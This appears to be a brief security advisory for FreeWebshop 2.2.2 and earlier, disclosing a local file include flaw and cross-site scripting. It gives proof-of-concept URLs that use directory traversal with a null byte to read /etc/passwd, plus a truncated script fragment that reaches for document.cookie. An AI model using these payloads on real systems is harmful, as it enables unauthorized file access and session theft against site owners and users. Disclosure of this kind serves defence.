freewebshop222.txt

FreeWebshop '"alertdocument.cookie laurent gaffié & benjamin mossé http://s-a-p.ca/ contact: [email protected]...

FreeWebshop <=2.2.2 [local file include & xss]

FreeWebshop =2.2.2 severity: hight vendor site: http://www.freewebshop.org/ impact: an anonymous user can access anyfile on the remote server PoC : http://site.com/?page=../../../../../../../../../../etc/passwd00 http://site.com/index.php?page=../../../../../../../../../../etc/passwd00 xss get :...